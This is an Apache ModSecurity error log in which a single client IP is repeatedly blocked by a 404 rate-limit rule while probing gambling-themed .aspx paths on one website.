[Fri Feb 06 13:03:43.813653 2026] [:error] [pid 3382:tid 3447] [client 51.68.235.235:40722] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aYV2L8IgU1HR0rhYrE-h-QAAAIc"]
[Fri Feb 06 13:03:45.811874 2026] [:error] [pid 3477:tid 3502] [client 51.68.235.235:52092] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aYV2MbL0Hdh40C7HYgXGIgAAANc"]
[Fri Feb 06 13:03:47.814236 2026] [:error] [pid 3380:tid 3406] [client 51.68.235.235:52104] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aYV2MxFAlUvBGSBK2jekwgAAABY"]
[Fri Feb 06 13:03:49.873760 2026] [:error] [pid 3382:tid 3451] [client 51.68.235.235:52114] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aYV2NcIgU1HR0rhYrE-iBgAAAIs"]
[Fri Feb 06 13:03:52.018531 2026] [:error] [pid 3380:tid 3387] [client 51.68.235.235:52122] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aYV2OBFAlUvBGSBK2jekygAAAAM"]
[Fri Feb 06 13:04:29.455298 2026] [:error] [pid 3382:tid 3450] [client 51.68.235.235:52134] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aYV2XcIgU1HR0rhYrE-iXQAAAIo"]
[Fri Feb 06 13:04:31.756433 2026] [:error] [pid 3382:tid 3455] [client 51.68.235.235:38244] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20joker.aspx"] [unique_id "aYV2X8IgU1HR0rhYrE-iZAAAAI8"]
[Fri Feb 06 13:04:33.676875 2026] [:error] [pid 3477:tid 3482] [client 51.68.235.235:38260] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20osaka.aspx"] [unique_id "aYV2YbL0Hdh40C7HYgXGyQAAAMM"]
[Fri Feb 06 13:04:35.714469 2026] [:error] [pid 3513:tid 3530] [client 51.68.235.235:34156] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20plus.aspx"] [unique_id "aYV2YzSw3-HAlzpqSxwvLAAAAU8"]
[Fri Feb 06 13:04:37.768347 2026] [:error] [pid 3513:tid 3515] [client 51.68.235.235:34172] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20168.aspx"] [unique_id "aYV2ZTSw3-HAlzpqSxwvMgAAAUA"]
[Fri Feb 06 13:04:39.808470 2026] [:error] [pid 3381:tid 3416] [client 51.68.235.235:34186] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20789.aspx"] [unique_id "aYV2Zy81zqRg96ZREgjHGQAAAEM"]
[Fri Feb 06 13:04:41.710612 2026] [:error] [pid 3382:tid 3458] [client 51.68.235.235:34200] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aYV2acIgU1HR0rhYrE-icAAAAJI"]
[Fri Feb 06 13:04:43.768546 2026] [:error] [pid 3477:tid 3491] [client 51.68.235.235:34212] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aYV2a7L0Hdh40C7HYgXG2gAAAMw"]
[Fri Feb 06 13:04:45.641901 2026] [:error] [pid 3380:tid 3397] [client 51.68.235.235:46174] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aYV2bRFAlUvBGSBK2jelPQAAAA0"]
[Fri Feb 06 13:04:47.557615 2026] [:error] [pid 3380:tid 3386] [client 51.68.235.235:46178] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20game.aspx"] [unique_id "aYV2bxFAlUvBGSBK2jelRAAAAAI"]
[Fri Feb 06 13:04:49.591696 2026] [:error] [pid 3382:tid 3444] [client 51.68.235.235:46192] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aYV2ccIgU1HR0rhYrE-ihQAAAIQ"]
[Fri Feb 06 13:04:51.535484 2026] [:error] [pid 3382:tid 3460] [client 51.68.235.235:46200] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aYV2c8IgU1HR0rhYrE-ijQAAAJQ"]
[Fri Feb 06 13:04:53.431956 2026] [:error] [pid 3381:tid 3418] [client 51.68.235.235:46214] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aYV2dS81zqRg96ZREgjHMAAAAEU"]
[Fri Feb 06 13:04:55.531710 2026] [:error] [pid 3380:tid 3386] [client 51.68.235.235:58310] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aYV2dxFAlUvBGSBK2jelVwAAAAI"]
[Fri Feb 06 13:04:57.445343 2026] [:error] [pid 3380:tid 3390] [client 51.68.235.235:58326] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aYV2eRFAlUvBGSBK2jelXAAAAAY"]
[Fri Feb 06 13:04:59.492017 2026] [:error] [pid 3380:tid 3400] [client 51.68.235.235:58332] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aYV2exFAlUvBGSBK2jelfgAAABA"]
[Fri Feb 06 13:05:01.392270 2026] [:error] [pid 3382:tid 3454] [client 51.68.235.235:58342] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aYV2fcIgU1HR0rhYrE-i5wAAAI4"]
[Fri Feb 06 13:05:03.293919 2026] [:error] [pid 3380:tid 3397] [client 51.68.235.235:58354] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aYV2fxFAlUvBGSBK2jelnAAAAA0"]
[Fri Feb 06 13:05:05.193719 2026] [:error] [pid 3380:tid 3405] [client 51.68.235.235:58356] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aYV2gRFAlUvBGSBK2jeltwAAABU"]
[Fri Feb 06 13:05:07.231391 2026] [:error] [pid 3382:tid 3445] [client 51.68.235.235:46508] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aYV2g8IgU1HR0rhYrE-i9QAAAIU"]
[Fri Feb 06 13:05:09.108325 2026] [:error] [pid 3380:tid 3400] [client 51.68.235.235:46510] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aYV2hRFAlUvBGSBK2jel7QAAABA"]
[Fri Feb 06 13:05:11.143885 2026] [:error] [pid 3382:tid 3460] [client 51.68.235.235:46512] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aYV2h8IgU1HR0rhYrE-i_AAAAJQ"]
[Fri Feb 06 13:05:13.007131 2026] [:error] [pid 3380:tid 3401] [client 51.68.235.235:46526] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "aYV2iRFAlUvBGSBK2jemDAAAABE"]
[Fri Feb 06 13:05:15.051876 2026] [:error] [pid 3380:tid 3388] [client 51.68.235.235:46534] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aYV2ixFAlUvBGSBK2jemEgAAAAQ"]
[Fri Feb 06 13:05:17.070390 2026] [:error] [pid 3381:tid 3422] [client 51.68.235.235:56544] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aYV2jS81zqRg96ZREgjHaAAAAEk"]
[Fri Feb 06 13:05:18.962530 2026] [:error] [pid 3382:tid 3462] [client 51.68.235.235:56558] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aYV2jsIgU1HR0rhYrE-jFAAAAJY"]
[Fri Feb 06 13:05:20.978313 2026] [:error] [pid 3477:tid 3492] [client 51.68.235.235:56574] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aYV2kLL0Hdh40C7HYgXHOQAAAM0"]
[Fri Feb 06 13:05:22.845721 2026] [:error] [pid 3477:tid 3503] [client 51.68.235.235:56588] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aYV2krL0Hdh40C7HYgXHRwAAANg"]
[Fri Feb 06 13:05:24.856306 2026] [:error] [pid 3380:tid 3397] [client 51.68.235.235:56600] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aYV2lBFAlUvBGSBK2jemNgAAAA0"]
[Fri Feb 06 13:06:02.374425 2026] [:error] [pid 3513:tid 3528] [client 51.68.235.235:46094] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aYV2ujSw3-HAlzpqSxwv-wAAAU0"]
[Fri Feb 06 13:06:04.349784 2026] [:error] [pid 3382:tid 3451] [client 51.68.235.235:34244] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aYV2vMIgU1HR0rhYrE-joAAAAIs"]
[Fri Feb 06 13:06:06.355632 2026] [:error] [pid 3477:tid 3492] [client 51.68.235.235:34742] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aYV2vrL0Hdh40C7HYgXHnwAAAM0"]
[Fri Feb 06 13:06:08.373174 2026] [:error] [pid 3513:tid 3528] [client 51.68.235.235:34750] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aYV2wDSw3-HAlzpqSxwwCQAAAU0"]
[Fri Feb 06 13:06:10.377050 2026] [:error] [pid 3477:tid 3485] [client 51.68.235.235:34760] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aYV2wrL0Hdh40C7HYgXHpQAAAMY"]
[Fri Feb 06 13:06:12.398489 2026] [:error] [pid 3380:tid 3405] [client 51.68.235.235:34770] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aYV2xBFAlUvBGSBK2jempAAAABU"]
[Fri Feb 06 13:06:14.398293 2026] [:error] [pid 3381:tid 3413] [client 51.68.235.235:34778] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aYV2xi81zqRg96ZREgjH1AAAAEA"]
[Fri Feb 06 13:06:16.407347 2026] [:error] [pid 3380:tid 3386] [client 51.68.235.235:41098] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aYV2yBFAlUvBGSBK2jemqwAAAAI"]
[Fri Feb 06 13:06:18.409130 2026] [:error] [pid 3513:tid 3515] [client 51.68.235.235:41112] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aYV2yjSw3-HAlzpqSxwwHQAAAUA"]
[Fri Feb 06 13:06:20.412818 2026] [:error] [pid 3381:tid 3415] [client 51.68.235.235:41120] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aYV2zC81zqRg96ZREgjH3gAAAEI"]
[Fri Feb 06 13:06:22.421958 2026] [:error] [pid 3382:tid 3463] [client 51.68.235.235:41134] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aYV2zsIgU1HR0rhYrE-jvwAAAJc"]
[Fri Feb 06 13:06:24.422296 2026] [:error] [pid 3477:tid 3487] [client 51.68.235.235:41142] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aYV20LL0Hdh40C7HYgXHywAAAMg"]
[Fri Feb 06 13:06:26.437704 2026] [:error] [pid 3382:tid 3450] [client 51.68.235.235:36088] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aYV20sIgU1HR0rhYrE-jyQAAAIo"]
[Fri Feb 06 13:06:28.300090 2026] [:error] [pid 3382:tid 3459] [client 51.68.235.235:36090] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aYV21MIgU1HR0rhYrE-jzgAAAJM"]
[Fri Feb 06 13:06:30.298301 2026] [:error] [pid 3380:tid 3399] [client 51.68.235.235:36096] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aYV21hFAlUvBGSBK2jem9AAAAA8"]
[Fri Feb 06 13:06:32.311317 2026] [:error] [pid 3380:tid 3406] [client 51.68.235.235:36112] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aYV22BFAlUvBGSBK2jem-wAAABY"]
[Fri Feb 06 13:06:34.318688 2026] [:error] [pid 3380:tid 3406] [client 51.68.235.235:36128] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aYV22hFAlUvBGSBK2jenAwAAABY"]
[Fri Feb 06 13:06:36.321130 2026] [:error] [pid 3380:tid 3388] [client 51.68.235.235:59810] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aYV23BFAlUvBGSBK2jenCgAAAAQ"]
[Fri Feb 06 13:06:38.331595 2026] [:error] [pid 3513:tid 3521] [client 51.68.235.235:59820] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aYV23jSw3-HAlzpqSxwwUAAAAUY"]
[Fri Feb 06 13:06:40.332504 2026] [:error] [pid 3513:tid 3525] [client 51.68.235.235:59826] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aYV24DSw3-HAlzpqSxwwVgAAAUo"]
[Fri Feb 06 13:06:42.339012 2026] [:error] [pid 3380:tid 3401] [client 51.68.235.235:59834] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aYV24hFAlUvBGSBK2jenHgAAABE"]
